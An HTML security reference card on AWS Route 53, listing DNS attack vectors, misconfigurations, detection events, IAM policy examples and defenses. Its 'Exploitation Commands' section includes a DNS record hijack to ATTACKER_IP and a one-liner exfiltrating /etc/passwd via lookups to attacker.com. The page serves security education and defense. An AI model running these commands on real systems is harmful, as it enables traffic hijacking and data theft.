aws-security-cards/cards/html/route53.html at main · TocConsulting/aws-security-cards · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS Route 53 Security | AWS Security Cards</title>
<meta name="description" content="Route 53 is AWS's DNS service handling domain registration, DNS routing, and health checks. Attackers exploit DNS misconfigurations for subdomain takeover, traffic hijacking, and reconnaissance.">
<style>
  *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
  body {
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
    background: #0a0e1a;
    color: #e2e8f0;
    line-height: 1.6;
    padding: 2rem;
    max-width: 1200px;
    margin: 0 auto;
  }
  a { color: #22d3ee; text-decoration: none; }
  a:hover { text-decoration: underline; }

  /* Card Image */
  .card-image {
    border-radius: 1rem;
    overflow: hidden;
    margin-bottom: 2rem;
    border: 1px solid rgba(255,255,255,0.1);
  }
  .card-image img {
    width: 100%;
    height: auto;
    display: block;
  }

  /* Header */
  .header {
    position: relative;
    overflow: hidden;
    border-radius: 1rem;
    background: linear-gradient(135deg, #06b6d415, #0a0e1a, #0ea5e915);
    border: 1px solid #06b6d44d;
    padding: 2.5rem;
    margin-bottom: 2rem;
  }
  .header::before {
    content: '';
    position: absolute;
    top: 0; right: 0;
    width: 24rem; height: 24rem;
    background: #06b6d40d;
    border-radius: 50%;
    filter: blur(3rem);
  }
  .header-content { position: relative; display: flex; align-items: flex-start; gap: 1.5rem; }
  .header-icon { width: 64px; height: 64px; flex-shrink: 0; }
  .header-icon img { width: 100%; height: 100%; }
  .header-title { font-size: 1.875rem; font-weight: 700; color: #fff; }
  .header-badge {
    display: inline-block;
    padding: 0.25rem 0.75rem;
    background: #06b6d433;
    color: #06b6d4;
    font-size: 0.8rem;
    font-weight: 600;
    border-radius: 999px;
    border: 1px solid #06b6d44d;
    margin-left: 0.75rem;
    vertical-align: middle;
  }
  .header-desc { color: #94a3b8; max-width: 42rem; margin-top: 0.5rem; }

  /* Stats */
  .stats-row { display: grid; grid-template-columns: repeat(4, 1fr); gap: 1rem; margin-bottom: 2rem; }
  .stat-card {
    background: rgba(255,255,255,0.03);
    border-radius: 0.5rem;
    border: 1px solid rgba(255,255,255,0.06);
    padding: 1rem;
    text-align: center;
  }
  .stat-value { font-size: 1.5rem; font-weight: 700; }
  .stat-label { font-size: 0.8rem; color: #94a3b8; }

  /* Sections */
  .section {
    background: rgba(255,255,255,0.03);
    border-radius: 0.75rem;
    border: 1px solid rgba(255,255,255,0.06);
    padding: 1.5rem;
    margin-bottom: 1.5rem;
  }
  .section h2 {
    font-size: 1.25rem;
    font-weight: 700;
    color: #fff;
    margin-bottom: 1rem;
    display: flex;
    align-items: center;
    gap: 0.5rem;
  }

  /* Overview */
  .overview-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; }
  .overview-grid h4 { font-size: 0.9rem; font-weight: 600; margin-bottom: 0.5rem; }
  .overview-grid p { font-size: 0.875rem; color: #94a3b8; margin-bottom: 0.75rem; }
  .attack-note {
    background: rgba(0,0,0,0.3);
    border-radius: 0.5rem;
    border: 1px solid rgba(255,255,255,0.06);
    padding: 0.75rem;
    font-size: 0.875rem;
    color: #cbd5e1;
  }

  /* Risk Gauge */
  .risk-gauge { display: flex; align-items: center; gap: 2rem; }
  .risk-bar-container { flex: 1; }
  .risk-bar {
    height: 1rem;
    background: #0f172a;
    border-radius: 999px;
    overflow: hidden;
  }
  .risk-bar-fill {
    height: 100%;
    border-radius: 999px;
    background: linear-gradient(90deg, #eab308, #f97316, #ef4444);
  }
  .risk-labels { display: flex; justify-content: space-between; font-size: 0.8rem; color: #94a3b8; margin-top: 0.5rem; }
  .risk-score { text-align: center; }
  .risk-score-value { font-size: 2.5rem; font-weight: 700; color: #f87171; }
  .risk-score-label { font-size: 0.8rem; color: #94a3b8; }
  .risk-desc { margin-top: 1rem; font-size: 0.875rem; color: #94a3b8; }

  /* Panels Grid */
  .panels-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 1.5rem; margin-bottom: 1.5rem; }
  @media (max-width: 1024px) { .panels-grid { grid-template-columns: repeat(2, 1fr); } }
  @media (max-width: 640px) { .panels-grid, .stats-row, .overview-grid { grid-template-columns: 1fr; } }
  .panel {
    background: rgba(255,255,255,0.03);
    border-radius: 0.75rem;
    border: 1px solid;
    padding: 1.5rem;
  }
  .panel h3 { font-size: 1.1rem; font-weight: 700; margin-bottom: 1rem; display: flex; align-items: center; gap: 0.5rem; }
  .panel h4 { font-size: 0.85rem; font-weight: 600; margin-bottom: 0.5rem; margin-top: 1rem; }
  .panel ul { list-style: none; padding: 0; }
  .panel li {
    font-size: 0.85rem;
    color: #cbd5e1;
    padding: 0.15rem 0;
    display: flex;
    align-items: flex-start;
    gap: 0.5rem;
  }
  .bullet { margin-top: 0.15rem; }
  .note {
    margin-top: 1rem;
    padding: 0.75rem;
    border-radius: 0.5rem;
    font-size: 0.85rem;
  }

  /* Commands */
  .cmd-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; }
  .cmd-block { margin-top: 0.75rem; }
  .cmd-title { font-size: 0.8rem; color: #94a3b8; margin-bottom: 0.25rem; }
  pre {
    background: rgba(0,0,0,0.5);
    border-radius: 0.5rem;
    padding: 0.75rem;
    font-size: 0.8rem;
    color: #4ade80;
    overflow-x: auto;
    border: 1px solid rgba(255,255,255,0.06);
    white-space: pre-wrap;
    word-break: break-all;
    font-family: 'SF Mono', 'Fira Code', 'Cascadia Code', monospace;
  }

  /* Policies */
  .policy-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; }
  .policy-card {
    border-radius: 0.5rem;
    border: 1px solid;
    padding: 1rem;
  }
  .policy-header { display: flex; align-items: center; gap: 0.5rem; margin-bottom: 0.75rem; font-size: 0.9rem; }
  .policy-card pre { margin-bottom: 0.75rem; color: #cbd5e1; }
  .policy-desc { font-size: 0.8rem; color: #94a3b8; }

  /* Defenses */
  .defense-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; }
  .defense-card {
    background: rgba(255,255,255,0.03);
    border-radius: 0.5rem;
    border: 1px solid rgba(255,255,255,0.06);
    padding: 1rem;
  }
  .defense-card:hover { border-color: #22d3ee4d; }
  .defense-header { display: flex; align-items: flex-start; gap: 0.75rem; }
  .defense-icon { font-size: 1.5rem; }
  .defense-card h4 { font-size: 0.9rem; font-weight: 600; color: #fff; margin-bottom: 0.25rem; }
  .defense-card p { font-size: 0.85rem; color: #94a3b8; margin-bottom: 0.5rem; }
  .defense-card pre { color: #22d3ee; }

  /* Footer */
  .footer { text-align: center; padding: 1.5rem 0; font-size: 0.8rem; color: #64748b; }
  .footer a { color: #22d3ee; }

  /* Prevent ugly page-break splits */
  .card-image,
  .header,
  .stat-card,
  .stats-row,
  .section,
  .panel,
  .cmd-block,
  .policy-card,
  .defense-card,
  .attack-note,
  .overview-grid > div,
  .risk-gauge,
  .note {
    break-inside: avoid;
    page-break-inside: avoid;
  }
  .section,
  .panels-grid,
  .card-image,
  .header {
    break-before: auto;
    page-break-before: auto;
  }
  /* Keep headings with their content */
  h2, h3, h4 {
    break-after: avoid;
    page-break-after: avoid;
  }

  @media print {
    body { background: #0a0e1a; -webkit-print-color-adjust: exact; print-color-adjust: exact; }
    /* Switch panels to 2-col for better page flow */
    .panels-grid { grid-template-columns: repeat(2, 1fr); }
    /* Switch commands and policies to single column to avoid splits */
    .cmd-grid { grid-template-columns: 1fr; }
    .policy-grid { grid-template-columns: 1fr; }
    .defense-grid { grid-template-columns: 1fr; }
  }
</style>
</head>
<body>

<!-- Card Image -->
<div class="card-image">
  <img src="../images/route53-card.webp" alt="AWS Route 53 Security" />
</div>

<!-- Header -->
<div class="header">
  <div class="header-content">
    <div class="header-icon"><img src="../icons/route53.svg" alt="AWS Route 53 Security" /></div>
    <div>
      <div>
        <span class="header-title">AWS Route 53 Security</span>
        <span class="header-badge">DNS</span>
      </div>
      <p class="header-desc">Route 53 is AWS's DNS service handling domain registration, DNS routing, and health checks. Attackers exploit DNS misconfigurations for subdomain takeover, traffic hijacking, and reconnaissance.</p>
    </div>
  </div>
</div>

<!-- Stats -->
<div class="stats-row">
        <div class="stat-card">
          <div class="stat-value" style="color: #f87171;">CRITICAL</div>
          <div class="stat-label">Takeover Risk</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #4ade80;">20+</div>
          <div class="stat-label">Record Types</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #60a5fa;">Global</div>
          <div class="stat-label">DNS Propagation</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #c084fc;">100%</div>
          <div class="stat-label">Uptime SLA</div>
        </div></div>

<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">&#x1F4CB;</span> Service Overview</h2><div class="overview-grid">
        <div>
          <h4 style="color: #06b6d4;">DNS &amp; Domain Management</h4>
          <p>Route 53 manages public and private hosted zones, domain registration, and DNS health checks. Public zones resolve globally while private zones serve VPC-internal resolution. Alias records provide AWS-native mapping to CloudFront, ELB, S3, and other services.</p>
          <div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> DNS enumeration of hosted zones reveals the entire infrastructure topology including internal services</div>
        </div>
        <div>
          <h4 style="color: #06b6d4;">DNS Exfiltration &amp; Tunneling</h4>
          <p>DNS queries bypass most firewalls and security controls. Attackers use DNS TXT queries for data exfiltration, encode stolen data in subdomain labels, and tunnel C2 traffic through DNS resolution. Route 53 Resolver logs can detect this but are rarely enabled.</p>
          <div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> DNS tunneling can exfiltrate data at ~18KB/s through TXT records while evading most network security controls</div>
        </div></div></div>

<!-- Risk Assessment -->

<div class="section">
  <h2>Security Risk Assessment</h2>
  <div class="risk-gauge">
    <div class="risk-bar-container">
      <div class="risk-bar">
        <div class="risk-bar-fill" style="width: 90%;"></div>
      </div>
      <div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
    </div>
    <div class="risk-score">
      <div class="risk-score-value">9.0</div>
      <div class="risk-score-label">Risk Score</div>
    </div>
  </div>
  <p class="risk-desc">DNS control enables complete traffic interception. Subdomain takeover exposes organizations to phishing and credential theft. DNS enumeration reveals infrastructure and attack surface.</p>
</div>

<!-- Main Panels -->
<div class="panels-grid">
      <div class="panel" style="border-color: #f8717133;">
        <h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">DNS Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Subdomain takeover (dangling CNAME)</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> DNS record hijacking</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Zone transfer exposure</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Private hosted zone leakage</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Health check manipulation</li></ul><h4 style="color: #f87171;">Traffic Interception</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> NS delegation hijacking</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> MX record spoofing for email intercept</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> A/AAAA record poisoning</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Traffic policy abuse for redirection</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> DNS tunneling for C2 and exfiltration</li></ul></div>
      <div class="panel" style="border-color: #fb923c33;">
        <h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Record Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Dangling DNS records to defunct services</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Public hosted zone for internal services</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Wildcard records vulnerability</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Stale records after decommissioning</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> TXT records containing secrets/tokens</li></ul><h4 style="color: #fb923c;">Security Gaps</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Overly permissive IAM for route53:*</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Missing DNSSEC validation</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No query logging enabled</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Resolver rules exposing internal DNS</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Cross-account hosted zone associations</li></ul></div>
      <div class="panel" style="border-color: #22d3ee33;">
        <h3 style="color: #22d3ee;">🔍 Enumeration</h3>
        <div class="cmd-block">
          <div class="cmd-title">List Hosted Zones</div>
          <pre><code>aws route53 list-hosted-zones</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Records</div>
          <pre><code>aws route53 list-resource-record-sets \\
  --hosted-zone-id Z1234567890ABC</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Health Checks</div>
          <pre><code>aws route53 list-health-checks</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Domains</div>
          <pre><code>aws route53domains list-domains</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">External Enumeration</div>
          <pre><code>dig ANY example.com @8.8.8.8</code></pre>
        </div></div>
      <div class="panel" style="border-color: #c084fc33;">
        <h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">DNS-Based Escalation</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Hijack DNS to redirect auth endpoints</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> MX takeover for password reset emails</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Redirect internal services to attacker</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Modify health checks to fail over to attacker</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Associate attacker VPC with private zone</li></ul><h4 style="color: #c084fc;">Subdomain Takeover Targets</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> S3 bucket (NoSuchBucket error)</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> CloudFront distribution (deleted)</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Elastic Beanstalk CNAME (terminated)</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> GitHub Pages (unclaimed)</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Heroku/Azure/GCP services (deprovisioned)</li></ul><div class="note"><strong>Key insight:</strong> Subdomain takeover on auth.company.com enables cookie theft for the entire company.com domain scope.</div></div>
      <div class="panel" style="border-color: #facc1533;">
        <h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">DNS Persistence</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Add A record pointing to attacker C2</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Create NS delegation to attacker nameserver</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Modify MX for ongoing email interception</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Add TXT records for domain verification abuse</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Create hidden subdomain for phishing</li></ul><h4 style="color: #facc15;">Infrastructure Abuse</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Register similar domains for typosquatting</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Associate attacker VPC with private zone</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Create health check triggering attacker endpoint</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Add CNAME for persistent subdomain takeover</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Modify traffic policy for selective redirect</li></ul><div class="note"><strong>Tool reference:</strong> Use subjack, can-i-take-over-xyz, and nuclei takeover templates for automated subdomain takeover detection. dnsrecon and amass for DNS enumeration.</div></div>
      <div class="panel" style="border-color: #4ade8033;">
        <h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> ChangeResourceRecordSets</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> DeleteHostedZone</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> CreateHostedZone</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> AssociateVPCWithHostedZone</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> UpdateHealthCheck</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> DNS record changes from unknown principals</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> New hosted zone associations</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Health check modifications</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Unusual query patterns in Resolver logs</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Domain transfer attempts</li></ul></div></div>

<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">&#x1F4BB;</span> Exploitation Commands</h2><div class="cmd-grid">
        <div class="cmd-block">
          <div class="cmd-title">Hijack DNS Record</div>
          <pre><code>aws route53 change-resource-record-sets \\
  --hosted-zone-id Z1234567890ABC \\
  --change-batch '{&quot;Changes&quot;:[{&quot;Action&quot;:&quot;UPSERT&quot;,
    &quot;ResourceRecordSet&quot;:{&quot;Name&quot;:&quot;app.example.com&quot;,
    &quot;Type&quot;:&quot;A&quot;,&quot;TTL&quot;:60,
    &quot;ResourceRecords&quot;:[{&quot;Value&quot;:&quot;ATTACKER_IP&quot;}]}}]}'</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Check for Zone Transfer</div>
          <pre><code>dig axfr example.com @ns1.example.com</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Subdomain Enumeration</div>
          <pre><code>subfinder -d example.com -silent | dnsx -silent</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Find Dangling CNAMEs</div>
          <pre><code>aws route53 list-resource-record-sets \\
  --hosted-zone-id Z123 \\
  --query &quot;ResourceRecordSets[?Type=='CNAME']&quot;</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Associate VPC with Private Zone</div>
          <pre><code>aws route53 associate-vpc-with-hosted-zone \\
  --hosted-zone-id Z123 \\
  --vpc VPCRegion=us-east-1,VPCId=vpc-attacker</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">DNS Exfiltration Test</div>
          <pre><code># Encode data in subdomain labels
nslookup $(cat /etc/passwd | base64 | tr -d '\
' | \\
  fold -w 60 | head -1).attacker.com</code></pre>
        </div></div></div>

<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F4DC;</span> Policy Examples</h2><div class="policy-grid">
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Dangerous - Full DNS Access</span>
          </div>
          <pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: &quot;route53:*&quot;,
    &quot;Resource&quot;: &quot;*&quot;
  }]
}</code></pre>
          <p class="policy-desc">Full Route 53 access enables DNS hijacking across all zones</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - Read-Only Zone Access</span>
          </div>
          <pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [
      &quot;route53:GetHostedZone&quot;,
      &quot;route53:ListResourceRecordSets&quot;
    ],
    &quot;Resource&quot;: &quot;arn:aws:route53:::hostedzone/Z123456&quot;
  }]
}</code></pre>
          <p class="policy-desc">Limited to specific hosted zone with read-only access</p>
        </div>
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Dangerous - Cross-Account Zone Association</span>
          </div>
          <pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: &quot;route53:AssociateVPCWithHostedZone&quot;,
    &quot;Resource&quot;: &quot;*&quot;
  }]
}</code></pre>
          <p class="policy-desc">Allows associating any VPC with any private hosted zone</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - Deny Record Modification</span>
          </div>
          <pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Deny&quot;,
    &quot;Action&quot;: &quot;route53:ChangeResourceRecordSets&quot;,
    &quot;Resource&quot;: &quot;arn:aws:route53:::hostedzone/Z123456&quot;,
    &quot;Condition&quot;: {
      &quot;StringNotEquals&quot;: {
        &quot;aws:PrincipalTag/team&quot;: &quot;dns-admins&quot;
      }
    }
  }]
}</code></pre>
          <p class="policy-desc">Only DNS admin team can modify records in production zone</p>
        </div></div></div>

<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F6E1;&#xFE0F;</span> Defense Recommendations</h2><div class="defense-grid">
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔐</span>
            <div>
              <h4>Enable DNSSEC</h4>
              <p>Sign zones with DNSSEC to prevent DNS spoofing and cache poisoning attacks.</p>
              <pre><code>aws route53 enable-hosted-zone-dnssec \\
  --hosted-zone-id Z123456</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔍</span>
            <div>
              <h4>Audit Dangling Records</h4>
              <p>Regularly scan for CNAME records pointing to deleted resources to prevent subdomain takeover.</p>
              <pre><code>subjack -w subdomains.txt -t 100 -timeout 30 -a</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">📋</span>
            <div>
              <h4>Enable Query Logging</h4>
              <p>Enable DNS query logging to CloudWatch for security monitoring and anomaly detection.</p>
              <pre><code>aws route53resolver create-resolver-query-log-config \\
  --name security-dns-log \\
  --destination-arn &lt;cw-log-group-arn&gt;</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔒</span>
            <div>
              <h4>Restrict Record Changes</h4>
              <p>Use IAM conditions to limit DNS record modifications to authorized teams only.</p>
              <pre><code>&quot;Condition&quot;: {&quot;StringEquals&quot;: {
  &quot;aws:PrincipalTag/team&quot;: &quot;dns-admins&quot;
}}</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🏠</span>
            <div>
              <h4>Private Hosted Zones</h4>
              <p>Use private hosted zones for internal services instead of exposing them in public DNS.</p>
              <pre><code>aws route53 create-hosted-zone \\
  --name internal.corp.com \\
  --vpc VPCRegion=us-east-1,VPCId=vpc-xxx \\
  --caller-reference $(date +%s)</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">❤️</span>
            <div>
              <h4>Monitor Health Checks</h4>
              <p>Alert on health check changes that could indicate traffic redirection attacks.</p>
              <pre><code>aws cloudwatch put-metric-alarm \\
  --alarm-name route53-health-change \\
  --metric-name HealthCheckStatus \\
  --namespace AWS/Route53 \\
  --dimensions Name=HealthCheckId,Value=HC_ID</code></pre>
            </div>
          </div>
        </div></div></div>

<!-- Footer -->
<div class="footer">
  <p>AWS Route 53 Security Card</p>
  <p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>

</body>
</html>